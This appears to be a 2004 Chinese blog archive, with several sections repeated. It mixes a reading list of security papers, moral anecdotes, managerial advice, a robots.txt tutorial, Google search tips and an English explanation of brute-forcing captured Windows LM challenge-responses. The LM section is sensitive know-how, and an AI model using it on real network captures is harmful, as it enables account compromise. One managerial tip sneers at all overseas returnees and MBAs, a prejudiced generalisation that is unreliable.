The Risks of Key Recovery, Key Escrow, and Trusted Third-Party Encryption A great paper released 27 May 1997 by several of the biggest names in encryption and computer security, including Steven Bellovin, Matt Blaze, Whitfield Diffie, and John Gilmore. This describes exactly why we aren‘t going to let the government backdoor our crypto programs.
Smashing The Stack For Fun And Profit A great paper on buffer overflows by Aleph One. It is from Phrack49.
Mudge‘s tutorial on writing Buffer overflows. Another good paper.
IP hijacking paper A paper by Laurent Joncheray on the workings of IP hijacking.
The Hacker Crackdown A truly excellent book by Bruce Sterling about the early hackers. Mr. Sterling kindly (and much to the dismay of his publisher) decided to release the book freely over the internet.
Approaching Zero Another hacker book in electronic form. This one is about British phreaks.
Security Problems in the TCP/IP Protocol Suite An old but very interesting (and sadly, still applicable in many ways) paper by Steven Bellovin himself.
Them and Us:Chapter 6 of Paul Taylor‘s hacker book (basically publishing his dissertation)
cifs.txt *Hobbit*‘s excellent CIFS insecurities paper.
Hacker Encyclopedia This is a huge compendium of hacker/computer/science fiction information written by Logic Bomb. It is not word wrapped, so you will probably want to read it with vi or emacs rather than netscape
Tamperproof Smart Cards This is a very interesting paper by Ross J. Anderson
Murphy‘s Law and Computer Security A paper by Wietse Venema which details many often overlooked aspects of computer security and program bugs. This paper is loaded with examples.
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection A classic apper by Thomas Ptacek and Timothy Newsham on techniques for evading Intrusion Detection Systems. This was written in ‘98, but much of it still rings true in ‘01 :( . [PDF version]
Lighter Reading / Misc
What makes UNIX users so smart? An excellent essay on the relationship between literature and the powerful, flexible command-line interface to UNIX.
Richard Stallman‘s excellent essay on the right to read. It is short and insightful. Take 2 minutes and read it!
"The hollowing out of ourselves" an excellent essay by Stephen Talbott about the pathetic lack of real content on the web today and the pointlessness of embracing new technology for its own sake, rather than to achieve any actual ends.
"Why Cryptography is Harder Than it Looks" an essay by Bruce Schneier describing the many problems unique to developing cryptosystems. It really is more interesting than it sounds.
Concerning Hackers Who Break into Computer Systems by Dorothy E. Denning This is a somewhat dry, but rather interesting paper by someone best known for siding with the spooks and favoring export controls on cryptography. She interviewed many hackers and it is interesting to see things through her eyes.
UNIX Wars A hilarious spoof on star wars involving the fight between common users and fascist administrators who seek to destroy all productivity.
听的艺术
美国知名主持人 “林克莱特” 一天访问一名小朋友,问他说: 「你长大後想要当甚么呀?」小朋友天真的回答:「嗯…我要当飞机的驾驶员!」林克莱特接著问:「如果有一天,你的飞机飞到太平洋上空所有引擎都 熄火了,你会怎么办?」小朋友想了 想 「我会先告诉坐在飞机上的人绑好安全带,然後我挂上我的降落伞跳出去。」当在现场的观众笑的东倒西歪时,林克莱特继续著注视这孩子,想看他是不是自作聪明的家伙。没想到,接著孩子的两行热泪夺眶而出,这才使的林克莱特发觉这孩子的悲悯之情远非笔墨所能形容。於是林克莱特问他说:「为甚么要这么做?」小孩的答案透露出一个孩子真挚的想法:「我要去拿燃料,我还要回来!!」「我还要回来!」。
你听到别人说话时......你真的听懂他说的意思吗?你懂吗?如果不懂,就请听别人说完吧,这就是「听的艺术」
1. 听话不要听一半。
2. 还有,不要把自己的意思,投射到别人所说的话上头。
你听到别人说话时......你真的听懂他说的意思吗?你懂吗?如果不懂,就请听别人说完吧,这就是「听的艺术」
1. 听话不要听一半。
2. 还有,不要把自己的意思,投射到别人所说的话上头。
知道自己「有限」的聪明
有一个聪明的男孩,有一天妈妈带著他到杂货店去买东西,老板看到这个可爱的小孩,就打开一罐糖果,要小男孩自己拿一把糖果。但是这个男孩却没有任何的动作。几次的邀请之後,老板亲自抓了一大把糖果放进他的口袋中。回到家中,母亲很好奇的问小男孩,为什没有自己去抓糖果而要老板抓 呢?小男孩回答得很妙:「因为我的手比较小呀!而老板的手比较大,所以他拿的一定比我拿的多很多!」
默想: 这是一个聪明的孩子,他知道自己的有限,而更重要的,他也明白别人比自己强。
凡事不只靠自己的力量,学会适时的依靠他人,是一种谦卑,更是一种聪明。
默想: 这是一个聪明的孩子,他知道自己的有限,而更重要的,他也明白别人比自己强。
凡事不只靠自己的力量,学会适时的依靠他人,是一种谦卑,更是一种聪明。
星期五, 五月 21, 2004
一个资深职业经理人给大家的几句忠告
作为一名资深职业经理人,一个实战派,一位执行专家,我将自己几年来从事职业经理工作的锦囊经验贡献出来与大家分享,愿这些吐血经验能够引起大家深层次的思考,并对大家有所帮助。
1、打工无尊卑。无论你今天是普通工程师,还是贵为总经理,心态上都要保持平衡一致。反映在具体表现上就是与人为善,永远保持谦虚谨慎。如果你当工程师时见了门卫会打招呼,当了总裁后也要依然同门卫打招呼,切不可鼻孔朝天,否则死得很快。
2、高薪者死。如果你今天能够赚到的月薪自己觉得还可以,就不要处心积虑谋求升值加薪。当你的薪水加到足以让老板对你时时重点关注的时候,你的死期也快到了。
3、领导支持。作为各级职业经理人,一定不要忘记“密切联系领导”的道理,尤其对于广大中层干部。你的创意,你的计划,你的方案,要想得到顺利推行,首先一定要取得领导的支持。坚信:世上只有领导好,有领导支持的干部像块宝。
4、群众信任。一个干部要想成功,除了领导的支持,还要取得同事的信任。因此,平时要时刻注意跟同事们打成一片,在一些无原则的小事上,要替他们争取利益,取得他们的信任,这样你就离成功不远了。具体案例请参见我的《一个职业经理人的检讨书》。
5、请示汇报。永远不要相信公司里会有真正的授权。更不要以为你是MBA就可以踢开党委闹革命。那些埋头做事不看路,不请示少汇报的人,永远无法得到老板的信任和赏识。老板花了钱雇你们,其实他心里是很恐慌的,生怕你们拿了钱不干活。所以你要天天跟老板主动汇报你的工作,让他了解他没有白花钱雇你。
6、鄙视海龟。对于所有的海龟(海外留学归来人士),以及国内大大小小的MBA们,不要考虑,统统采取鄙视的态度,没错!搞管理,其实不需要太多的理论。知识越多越反动!无论毛主席,还是比尔盖茨,无论李宏治还是赖昌星,大凡成功人士,没有几个具有本科以上学历的。你们信我吧!海龟之所以归来,90%以上是因为在国外混不下去。属于出国人群中的低能儿;要么干脆就是“克莱登”大学毕业的方鸿渐之流。用他们?一边呆着去吧!海龟唯一的作用就是把他们的牌牌挂到公司门口吸引风险投资,好比饭店门口的幌子。至于干活的本事,还是“汉阳造”的盒子炮好使。
7、三招两式。做一个合格职业经理人,必须懂得三招:大力沟通,全力执行,谦虚谨慎。同时,随着你所在的行业以及所处的管理角色不同,你必须知道两式:涉及本专业的所有名词术语,涉及本行业的名人轶事等所有谈资。比如我作为人力资源经理,我每天大概花6个小时到各个部门跟人聊天,对于公司的任何人事政策,我都会始终不渝地抓落实,执行到底。我见了任何人都鞠躬问好,包括对扫地的阿姨。我熟知人力资源管理的所有理论、概念、名词,什么招聘与面试技巧、结构化面试、职位说明书、绩效考核、平衡记分卡(BSC)、X理论Y理论、培训、企业文化、马斯洛需求层次理论、员工满意度、职业发展规划、薪酬管理等等等等,同时我也对我所在企业所处的行业知识有着广泛但并不精深的了解。
8、兔子不吃窝边草。作为职业经理人,千万不要对周围的同事发生感情,比如不要跟异性同事搞对象,不要跟同事做哥们儿。除了工作上的事情,没有私人感情可言。永远不要做烂好人,要保持自己的严肃性,或者说是威严。
9、急流勇退。当感觉到自己已经爬到顶峰,无论职位还是薪酬都已经达到了无法再逾越的高度,一定要开始寻找全身而退的道路。比如开始跟猎头公司联系,留心跳槽事宜等。这个周期应该在半年到一年左右时间,换句话讲,如果你已经达到顶峰,而还赖在这个位子上超过一年无变化,就是你的失败。
10、雁过留声。职业经理人最可宝贵的不是自己的薪酬,而是自己的名声。“人过留名雁过留声”的道理一定要记得。一定不要做损害原企业利益的事情,一定不要对同事做阴暗卑鄙的小人勾当。在新企业面前谈论旧企业一定要说好,在任何一家企业,只要你干一天,就要全心投入,敬业爱人。哪怕明天你就要办理离职交接了,今天也要全心全力为公司争取到最后一单生意。
1、打工无尊卑。无论你今天是普通工程师,还是贵为总经理,心态上都要保持平衡一致。反映在具体表现上就是与人为善,永远保持谦虚谨慎。如果你当工程师时见了门卫会打招呼,当了总裁后也要依然同门卫打招呼,切不可鼻孔朝天,否则死得很快。
2、高薪者死。如果你今天能够赚到的月薪自己觉得还可以,就不要处心积虑谋求升值加薪。当你的薪水加到足以让老板对你时时重点关注的时候,你的死期也快到了。
3、领导支持。作为各级职业经理人,一定不要忘记“密切联系领导”的道理,尤其对于广大中层干部。你的创意,你的计划,你的方案,要想得到顺利推行,首先一定要取得领导的支持。坚信:世上只有领导好,有领导支持的干部像块宝。
4、群众信任。一个干部要想成功,除了领导的支持,还要取得同事的信任。因此,平时要时刻注意跟同事们打成一片,在一些无原则的小事上,要替他们争取利益,取得他们的信任,这样你就离成功不远了。具体案例请参见我的《一个职业经理人的检讨书》。
5、请示汇报。永远不要相信公司里会有真正的授权。更不要以为你是MBA就可以踢开党委闹革命。那些埋头做事不看路,不请示少汇报的人,永远无法得到老板的信任和赏识。老板花了钱雇你们,其实他心里是很恐慌的,生怕你们拿了钱不干活。所以你要天天跟老板主动汇报你的工作,让他了解他没有白花钱雇你。
6、鄙视海龟。对于所有的海龟(海外留学归来人士),以及国内大大小小的MBA们,不要考虑,统统采取鄙视的态度,没错!搞管理,其实不需要太多的理论。知识越多越反动!无论毛主席,还是比尔盖茨,无论李宏治还是赖昌星,大凡成功人士,没有几个具有本科以上学历的。你们信我吧!海龟之所以归来,90%以上是因为在国外混不下去。属于出国人群中的低能儿;要么干脆就是“克莱登”大学毕业的方鸿渐之流。用他们?一边呆着去吧!海龟唯一的作用就是把他们的牌牌挂到公司门口吸引风险投资,好比饭店门口的幌子。至于干活的本事,还是“汉阳造”的盒子炮好使。
7、三招两式。做一个合格职业经理人,必须懂得三招:大力沟通,全力执行,谦虚谨慎。同时,随着你所在的行业以及所处的管理角色不同,你必须知道两式:涉及本专业的所有名词术语,涉及本行业的名人轶事等所有谈资。比如我作为人力资源经理,我每天大概花6个小时到各个部门跟人聊天,对于公司的任何人事政策,我都会始终不渝地抓落实,执行到底。我见了任何人都鞠躬问好,包括对扫地的阿姨。我熟知人力资源管理的所有理论、概念、名词,什么招聘与面试技巧、结构化面试、职位说明书、绩效考核、平衡记分卡(BSC)、X理论Y理论、培训、企业文化、马斯洛需求层次理论、员工满意度、职业发展规划、薪酬管理等等等等,同时我也对我所在企业所处的行业知识有着广泛但并不精深的了解。
8、兔子不吃窝边草。作为职业经理人,千万不要对周围的同事发生感情,比如不要跟异性同事搞对象,不要跟同事做哥们儿。除了工作上的事情,没有私人感情可言。永远不要做烂好人,要保持自己的严肃性,或者说是威严。
9、急流勇退。当感觉到自己已经爬到顶峰,无论职位还是薪酬都已经达到了无法再逾越的高度,一定要开始寻找全身而退的道路。比如开始跟猎头公司联系,留心跳槽事宜等。这个周期应该在半年到一年左右时间,换句话讲,如果你已经达到顶峰,而还赖在这个位子上超过一年无变化,就是你的失败。
10、雁过留声。职业经理人最可宝贵的不是自己的薪酬,而是自己的名声。“人过留名雁过留声”的道理一定要记得。一定不要做损害原企业利益的事情,一定不要对同事做阴暗卑鄙的小人勾当。在新企业面前谈论旧企业一定要说好,在任何一家企业,只要你干一天,就要全心投入,敬业爱人。哪怕明天你就要办理离职交接了,今天也要全心全力为公司争取到最后一单生意。
星期四, 五月 20, 2004
逃避搜索引擎的法眼
为什么我们要逆着常理来这样做?
如果你是一个站长,估计你总在千方百计的让你的网站能在搜索引擎里面找到,并且能够在搜索引擎里面排名靠前,但有时,你可能并没登陆过任何搜索引擎,可却莫名其妙的发现可以通过它搜索到你的网站。或许有的主页内容你乐于世人皆知,但有的内容你却不愿被洞察、索引。可能你要求用户验证,但这并不能逃避搜索引擎的搜索,只要在搜索引擎里面搜索到你的这个网页,不用密码照样可以登陆。并且简单的加密常常容易被攻破。难道使用数据库吗?这不但消耗宝贵网站空间资源,对于一些简单的站点,又无法实现。怎么办呢?搜索引擎不是个瞒不讲理,横行霸道的入室盗贼。如何把搜索引擎拒之门外呢?
探索一下搜索引擎的的原理
首先,我们要知道搜索引擎的工作原理。网络搜索引擎主要由网络机器人(Robot,这个是全文的关键)、索引数据库和查询服务三个部分组成。只要被网页机器人找到的网页,就会在搜索引擎的数据库中建立索引。利用查询客户端,就一定可以找到你的网页。所以下面的关键是研究这个网络机器人。索引数据库和查询服务的原理我们就不详细分析了。
Web Robot其实是种程序,它可以侦测大量Internet网址的超文本结构和网页里的URL连接,递归地检索网络站点所有的内容。这些程序有时被叫“蜘蛛(Spider)”,“网上流浪汉(Web Wanderer)”,“网络蠕虫(web worms)”或Web crawler。大型的搜索引擎站点(Search Engines)有专门的Web Robot程序来完成这些信息的采集。高性能的Web Root去自动地在互联网中搜索信息。一个典型的网络机器人的工作方式,是查看一个页面,并从中找到相关的关键字和网页信息,例如:标题,网页在浏览器上的Title,还有一些经常被用来搜索的词汇,等等。然后它再从该页面的所有链接中出发,继续寻找相关的信息,以此类推,直至穷尽。网络机器人为实现其快速地浏览整个互联网,通常在技术上采用抢先式多线程技术实现在网上聚集信息。通过抢先式多线程的使用,它能索引一个基于URL链接的Web页面,启动一个新的线程跟随每个新的URL链接,索引一个新的URL起点。把搜索到的信息建立索引,就可以让用户搜索了。呵呵,可能你会想到,这样下去,不是个无限循环呀?当然,机器人也需要休息的,网络机器人是定期发出,完成一个工作时段就结束。所以,刚制作完成的网页,不会马上被收入搜索引擎索引里。说到这里,网络搜索引擎的基本工作原理基本上让大家了解了。指挥这个网络机器人,不让它见门就进,见路就闯,就是接下来的工作了。
逃避搜索引擎的法眼
作为搜索引擎的开发者,同样留给了网络管理员或网页制作者提供了些方法来限制网络机器人的行动:
当robots访问一个网站(比如http://www.yoursite.com)时,首先会像一个大宅子的陌生访问者一样,先查看查看该宅子是否同意它进入。如果不同意,它就悄然无声的走掉;如果同意,它会看看主人只允许它进入那些房间。网络机器人首先检查该网站中是否存在http://www.yoursite.com/robots.txt这个文件,如果找不到这个文件,那么,机器人就会横冲直入,查遍它需要查找的信息。如果机器人找到这个文件,它就会根据这个文件的内容,来确定它访问权限的范围。当然,如果该文件的内容为空的话,那么也就相当于没有找到文件一样,大胆行事。记住robots.txt文件应该放在网站根目录下。
robots.txt文件中的记录通常以一行或多行User-agent开始,后面加上若干Disallow行,详细情况如下:
User-agent:
该值用于描述搜索引擎robot的名字,不同的搜索引擎是有不同的名字的,在"robots.txt"文件中,如果有多条User-agent记录说明有多个robot会受到该协议的限制,对这个文件来说,如果你需要限制robots,那么至少要有一条User-agent记录。如果该项的值设为*,则该协议对任何机器人均有效,在"robots.txt"文件中," User-agent: * "这样的记录只能有一条。
Disallow :
该值用于限制robot访问到的一个URL,这个URL可以是一条完整的路径,也可以是部分的,任何以Disallow 开头的URL均不会被robot访问到。例如“Disallow: /hacker”对/hacker.html 和/hacker/index.html都不允许搜索引擎访问,而“Disallow: /hacker/”则robot照样可以访问/hacker.html,而不能访问/hacker/index.html。任何一条Disallow记录为空,也就是说在多条Disallow记录下,只要有一条是写成“Disallow:”说明该网站的所有内容都允许被访问,在"/robots.txt"文件中,至少要有一条Disallow记录。
下面是Robot.txt的一些例子,只要把下列的任何一个代码保存为robots.txt,然后传到指定位置,就可以实现逃避搜索引擎的法眼:
例1. 禁止所有搜索引擎访问网站的任何部分:
User-agent: *
Disallow: /
例2. 允许所有的robot访问:
User-agent: *
Disallow:
例3. 禁止某个搜索引擎的访问:
User-agent: BadBot
Disallow: /
例4. 允许某个搜索引擎的访问:
User-agent: baiduspider
Disallow:
User-agent: *
Disallow: /
例5. 一个简单例子:
在这个例子中,该网站有三个目录对搜索引擎的访问做了限制,即搜索引擎不会访问这三个目录。需要注意的是对每一个目录必须分开声明,而不要写成 "Disallow: /cgi-bin/ /bbs/"。User-agent:后的* 具有特殊的含义,代表"any robot",所以在该文件中不能有"Disallow: /bbs/*" or "Disallow: *.gif"这样的记录出现.
User-agent: *
Disallow: /cgi-bin/
Disallow: /bbs/
Disallow: /~private/
结束语:是不是这样设置后,搜索引擎马上就找不到我们所限制的网页呢?不是的,就像文章开始前说过,网络机器人是定期发出,一旦在索引数据库里面做了记录,就要等下次更新数据库时才有可能生效。一个快捷的办法,就是马上到搜索引擎上去注销你的网页,可这个也是需要等待几天的。如果对十分重要的网页,只要更换个目录或文件名就可以了。
对于你已经希望保密的网页来说,千万不要在其他未保密的网页里有URL连接到这些网页上,在网络机器人工作原理那已经说过,它可以从该页面的所有链接中出发,继续寻找相关的信息。
可能到了这,你已经对你的保密网页感到安全了。可是,你想到没有,对于纯文本文件,是可以通过HTTP,或FTP下载的。也就是说,有存心不良的人,可以通过这个robots.txt找到一些线索。解决的办法是,最好使用Disallow时,用来限制目录,并且对这个目录下需要保密的网页,使用特殊的文件名,不要使用index.html之类的名字,不然,这跟猜弱口令一样容易。起些形如d3gey32.html的文件名,你的网页就安全多了。
最后不放心的话就再给保密网页上上一到密码验证的保险,让你高枕无忧。
如果你是一个站长,估计你总在千方百计的让你的网站能在搜索引擎里面找到,并且能够在搜索引擎里面排名靠前,但有时,你可能并没登陆过任何搜索引擎,可却莫名其妙的发现可以通过它搜索到你的网站。或许有的主页内容你乐于世人皆知,但有的内容你却不愿被洞察、索引。可能你要求用户验证,但这并不能逃避搜索引擎的搜索,只要在搜索引擎里面搜索到你的这个网页,不用密码照样可以登陆。并且简单的加密常常容易被攻破。难道使用数据库吗?这不但消耗宝贵网站空间资源,对于一些简单的站点,又无法实现。怎么办呢?搜索引擎不是个瞒不讲理,横行霸道的入室盗贼。如何把搜索引擎拒之门外呢?
探索一下搜索引擎的的原理
首先,我们要知道搜索引擎的工作原理。网络搜索引擎主要由网络机器人(Robot,这个是全文的关键)、索引数据库和查询服务三个部分组成。只要被网页机器人找到的网页,就会在搜索引擎的数据库中建立索引。利用查询客户端,就一定可以找到你的网页。所以下面的关键是研究这个网络机器人。索引数据库和查询服务的原理我们就不详细分析了。
Web Robot其实是种程序,它可以侦测大量Internet网址的超文本结构和网页里的URL连接,递归地检索网络站点所有的内容。这些程序有时被叫“蜘蛛(Spider)”,“网上流浪汉(Web Wanderer)”,“网络蠕虫(web worms)”或Web crawler。大型的搜索引擎站点(Search Engines)有专门的Web Robot程序来完成这些信息的采集。高性能的Web Root去自动地在互联网中搜索信息。一个典型的网络机器人的工作方式,是查看一个页面,并从中找到相关的关键字和网页信息,例如:标题,网页在浏览器上的Title,还有一些经常被用来搜索的词汇,等等。然后它再从该页面的所有链接中出发,继续寻找相关的信息,以此类推,直至穷尽。网络机器人为实现其快速地浏览整个互联网,通常在技术上采用抢先式多线程技术实现在网上聚集信息。通过抢先式多线程的使用,它能索引一个基于URL链接的Web页面,启动一个新的线程跟随每个新的URL链接,索引一个新的URL起点。把搜索到的信息建立索引,就可以让用户搜索了。呵呵,可能你会想到,这样下去,不是个无限循环呀?当然,机器人也需要休息的,网络机器人是定期发出,完成一个工作时段就结束。所以,刚制作完成的网页,不会马上被收入搜索引擎索引里。说到这里,网络搜索引擎的基本工作原理基本上让大家了解了。指挥这个网络机器人,不让它见门就进,见路就闯,就是接下来的工作了。
逃避搜索引擎的法眼
作为搜索引擎的开发者,同样留给了网络管理员或网页制作者提供了些方法来限制网络机器人的行动:
当robots访问一个网站(比如http://www.yoursite.com)时,首先会像一个大宅子的陌生访问者一样,先查看查看该宅子是否同意它进入。如果不同意,它就悄然无声的走掉;如果同意,它会看看主人只允许它进入那些房间。网络机器人首先检查该网站中是否存在http://www.yoursite.com/robots.txt这个文件,如果找不到这个文件,那么,机器人就会横冲直入,查遍它需要查找的信息。如果机器人找到这个文件,它就会根据这个文件的内容,来确定它访问权限的范围。当然,如果该文件的内容为空的话,那么也就相当于没有找到文件一样,大胆行事。记住robots.txt文件应该放在网站根目录下。
robots.txt文件中的记录通常以一行或多行User-agent开始,后面加上若干Disallow行,详细情况如下:
User-agent:
该值用于描述搜索引擎robot的名字,不同的搜索引擎是有不同的名字的,在"robots.txt"文件中,如果有多条User-agent记录说明有多个robot会受到该协议的限制,对这个文件来说,如果你需要限制robots,那么至少要有一条User-agent记录。如果该项的值设为*,则该协议对任何机器人均有效,在"robots.txt"文件中," User-agent: * "这样的记录只能有一条。
Disallow :
该值用于限制robot访问到的一个URL,这个URL可以是一条完整的路径,也可以是部分的,任何以Disallow 开头的URL均不会被robot访问到。例如“Disallow: /hacker”对/hacker.html 和/hacker/index.html都不允许搜索引擎访问,而“Disallow: /hacker/”则robot照样可以访问/hacker.html,而不能访问/hacker/index.html。任何一条Disallow记录为空,也就是说在多条Disallow记录下,只要有一条是写成“Disallow:”说明该网站的所有内容都允许被访问,在"/robots.txt"文件中,至少要有一条Disallow记录。
下面是Robot.txt的一些例子,只要把下列的任何一个代码保存为robots.txt,然后传到指定位置,就可以实现逃避搜索引擎的法眼:
例1. 禁止所有搜索引擎访问网站的任何部分:
User-agent: *
Disallow: /
例2. 允许所有的robot访问:
User-agent: *
Disallow:
例3. 禁止某个搜索引擎的访问:
User-agent: BadBot
Disallow: /
例4. 允许某个搜索引擎的访问:
User-agent: baiduspider
Disallow:
User-agent: *
Disallow: /
例5. 一个简单例子:
在这个例子中,该网站有三个目录对搜索引擎的访问做了限制,即搜索引擎不会访问这三个目录。需要注意的是对每一个目录必须分开声明,而不要写成 "Disallow: /cgi-bin/ /bbs/"。User-agent:后的* 具有特殊的含义,代表"any robot",所以在该文件中不能有"Disallow: /bbs/*" or "Disallow: *.gif"这样的记录出现.
User-agent: *
Disallow: /cgi-bin/
Disallow: /bbs/
Disallow: /~private/
结束语:是不是这样设置后,搜索引擎马上就找不到我们所限制的网页呢?不是的,就像文章开始前说过,网络机器人是定期发出,一旦在索引数据库里面做了记录,就要等下次更新数据库时才有可能生效。一个快捷的办法,就是马上到搜索引擎上去注销你的网页,可这个也是需要等待几天的。如果对十分重要的网页,只要更换个目录或文件名就可以了。
对于你已经希望保密的网页来说,千万不要在其他未保密的网页里有URL连接到这些网页上,在网络机器人工作原理那已经说过,它可以从该页面的所有链接中出发,继续寻找相关的信息。
可能到了这,你已经对你的保密网页感到安全了。可是,你想到没有,对于纯文本文件,是可以通过HTTP,或FTP下载的。也就是说,有存心不良的人,可以通过这个robots.txt找到一些线索。解决的办法是,最好使用Disallow时,用来限制目录,并且对这个目录下需要保密的网页,使用特殊的文件名,不要使用index.html之类的名字,不然,这跟猜弱口令一样容易。起些形如d3gey32.html的文件名,你的网页就安全多了。
最后不放心的话就再给保密网页上上一到密码验证的保险,让你高枕无忧。
Google搜索选项
指定只搜索一个域名,使用site:关键字:
举例:C# Specification site:msdn.microsoft.com
指定搜索结果不包含某个词或者词组,使用-选项:
举例:关心Windows 2000下的DNS但不希望看到2003,就可以键入:"Windows 200" DNS -2003
(可以使用+强制搜索一般会忽略的词)
指定只搜索标题而不是正文,使用intitle选项:
举例:intitle:"Windows 2003"
(指定只搜索正文而不是标题,使用intext选项)
搜索定义,使用define:关键字:
举例:define:C#
举例:C# Specification site:msdn.microsoft.com
指定搜索结果不包含某个词或者词组,使用-选项:
举例:关心Windows 2000下的DNS但不希望看到2003,就可以键入:"Windows 200" DNS -2003
(可以使用+强制搜索一般会忽略的词)
指定只搜索标题而不是正文,使用intitle选项:
举例:intitle:"Windows 2003"
(指定只搜索正文而不是标题,使用intext选项)
搜索定义,使用define:关键字:
举例:define:C#
Technical Explanation of Network SMB Capture
Technical Explanation of Network SMB Capture
Like many computing architectures, Windows passwords do not reflect the most technically sophisticated design, but rather their own particular history of design flaws, vulnerability patches, and the evolutionary restrictions imposed by serving a large installed-base. This section discusses why it is feasible to crack the LM hash that protects Windows passwords, and why the stronger NTLM hash (designed as an improvement on the LM hash and released with Windows NT Service Pack 3) is often irrelevant.
16byte LM hash
16byte NTLM hash (md4)
The LM hashes only need to go through 7 characters to retrieve passwords (up to 14 chars in length). Furthermore, since there is no salting being done, constants appear, giving away information that speeds up an attack.
1st 8bytes of LM hash
second 8bytes of LM hash
from first 7 chars
from second 7 chars
The first 8 bytes are derived from the first seven characters of the password and the second 8 bytes are derived from the 8th through 14th characters of the password. If the password is less than 7 characters then the second half will always be 0xAAD3B435B51404EE.
For example, if the user's password has an LM hash of 0xC23413A8A1E7665f AAD3B435B51404EE (plug this into LC5, and the password return is "WELCOME").
Here is what happens to this hash on the network:
B --> A
B sends an 8 byte challenge to A (assuming it is 0x0001020304050607)
Machine A takes the hash of 0xC23413A8A1E7665fAAD3B435B51404EE and adds 5 nulls to it, thus becoming 0xC23413A8A1E7665fAAD3B435B51404EE0000000000.
The string 0xC23413A8A1E7665fAAD3B435B51404EE0000000000 is broken into three groups of 7:C23413A8A1E766 5fAAD3B435B514 04EE0000000000
The 7 byte strings are str_to_key'd (if you will) into 8 byte odd parity DES keys. Now we have:
| 8byteDESkey1 | | 8byteDESkey2 | | 8 byteDESkey3 |
8byteDESkey1 is used to encrypt the challenge 0x0001020304050607. Let's assume the result is 0xAAAAAAAAAAAAAAAA.
8byteDESkey2 is used to encrypt the challenge 0x0001020304050607. Let's assume the result is 0xBBBBBBBBBBBBBBBB.
8byteDESkey3 is used to encrypt the challenge 0x0001020304050607. Let's assume the result is 0xCCCCCCCCCCCCCCCC.
The three 8byte values are concatenated, and the 24 byte response of 0xAAAAAAAABBBBBBBBCCCCCCCC is returned to the server.
The server does the same thing to the hash on its end and compares the result to the 24 byte response. If they match, it was the correct original hash.
Here is why this is breakable. The LM Hash for 7 or fewer character passwords:
C23413A8A1E766
5fAAD3B435B514
04EE0000000000
The first thing to check is if the user's password is shorter than 8 characters, by taking the 7 byte value of 0x04EE0000000000, turning it into an 8 byte odd parity DES key, and encrypting it against the 8 byte challenge of 0x0001020304050607. If we get the result of 0xCCCCCCCCCCCCCCCC then we are pretty sure it is shorter than 8 characters. In order to be sure we can run through 0x??AAD3B435B514 (i.e. just 256 possible combinations) to see that 5f shows us the result is 0xBBBBBBBBBBBBBBBB, proving the password is less than 8 characters and also giving us the last byte of the first half of the LM hash.
What if the test above proves we're dealing with an 8-character or greater password?
C23413A8A1E766
AC435F2DD90417
CCD60000000000
Worst case scenario, it takes us 65,535 checks to figure out that the 2bytes that are used in the last third are 0xCCD6. In a simplistic fashion, you could go through your 7 digit combinations of characters for the first third the same way you would the LM hash from the registry. This yields not only the first third of the response, but also the first byte of the second third. Keep in mind that you already have the last two bytes that made up the third. You could approach the middle third in the same fashion.
In summary, the challenge response can be brute-forced for the LM hash. Microsoft made the decision to continue sending the LM hash response along with the NTLM response even when NT Service Pack 3 was installed, probably because eliminating the LM hash response would prevent Windows 95 and 98 machines from talking to NT machines. The strength of the more secure NTLM hash is made irrelevant by its position in a chain whose weakest link is the LM hash.
Like many computing architectures, Windows passwords do not reflect the most technically sophisticated design, but rather their own particular history of design flaws, vulnerability patches, and the evolutionary restrictions imposed by serving a large installed-base. This section discusses why it is feasible to crack the LM hash that protects Windows passwords, and why the stronger NTLM hash (designed as an improvement on the LM hash and released with Windows NT Service Pack 3) is often irrelevant.
16byte LM hash
16byte NTLM hash (md4)
The LM hashes only need to go through 7 characters to retrieve passwords (up to 14 chars in length). Furthermore, since there is no salting being done, constants appear, giving away information that speeds up an attack.
1st 8bytes of LM hash
second 8bytes of LM hash
from first 7 chars
from second 7 chars
The first 8 bytes are derived from the first seven characters of the password and the second 8 bytes are derived from the 8th through 14th characters of the password. If the password is less than 7 characters then the second half will always be 0xAAD3B435B51404EE.
For example, if the user's password has an LM hash of 0xC23413A8A1E7665f AAD3B435B51404EE (plug this into LC5, and the password return is "WELCOME").
Here is what happens to this hash on the network:
B --> A
B sends an 8 byte challenge to A (assuming it is 0x0001020304050607)
Machine A takes the hash of 0xC23413A8A1E7665fAAD3B435B51404EE and adds 5 nulls to it, thus becoming 0xC23413A8A1E7665fAAD3B435B51404EE0000000000.
The string 0xC23413A8A1E7665fAAD3B435B51404EE0000000000 is broken into three groups of 7:C23413A8A1E766 5fAAD3B435B514 04EE0000000000
The 7 byte strings are str_to_key'd (if you will) into 8 byte odd parity DES keys. Now we have:
| 8byteDESkey1 | | 8byteDESkey2 | | 8 byteDESkey3 |
8byteDESkey1 is used to encrypt the challenge 0x0001020304050607. Let's assume the result is 0xAAAAAAAAAAAAAAAA.
8byteDESkey2 is used to encrypt the challenge 0x0001020304050607. Let's assume the result is 0xBBBBBBBBBBBBBBBB.
8byteDESkey3 is used to encrypt the challenge 0x0001020304050607. Let's assume the result is 0xCCCCCCCCCCCCCCCC.
The three 8byte values are concatenated, and the 24 byte response of 0xAAAAAAAABBBBBBBBCCCCCCCC is returned to the server.
The server does the same thing to the hash on its end and compares the result to the 24 byte response. If they match, it was the correct original hash.
Here is why this is breakable. The LM Hash for 7 or fewer character passwords:
C23413A8A1E766
5fAAD3B435B514
04EE0000000000
The first thing to check is if the user's password is shorter than 8 characters, by taking the 7 byte value of 0x04EE0000000000, turning it into an 8 byte odd parity DES key, and encrypting it against the 8 byte challenge of 0x0001020304050607. If we get the result of 0xCCCCCCCCCCCCCCCC then we are pretty sure it is shorter than 8 characters. In order to be sure we can run through 0x??AAD3B435B514 (i.e. just 256 possible combinations) to see that 5f shows us the result is 0xBBBBBBBBBBBBBBBB, proving the password is less than 8 characters and also giving us the last byte of the first half of the LM hash.
What if the test above proves we're dealing with an 8-character or greater password?
C23413A8A1E766
AC435F2DD90417
CCD60000000000
Worst case scenario, it takes us 65,535 checks to figure out that the 2bytes that are used in the last third are 0xCCD6. In a simplistic fashion, you could go through your 7 digit combinations of characters for the first third the same way you would the LM hash from the registry. This yields not only the first third of the response, but also the first byte of the second third. Keep in mind that you already have the last two bytes that made up the third. You could approach the middle third in the same fashion.
In summary, the challenge response can be brute-forced for the LM hash. Microsoft made the decision to continue sending the LM hash response along with the NTLM response even when NT Service Pack 3 was installed, probably because eliminating the LM hash response would prevent Windows 95 and 98 machines from talking to NT machines. The strength of the more secure NTLM hash is made irrelevant by its position in a chain whose weakest link is the LM hash.
星期三, 五月 19, 2004
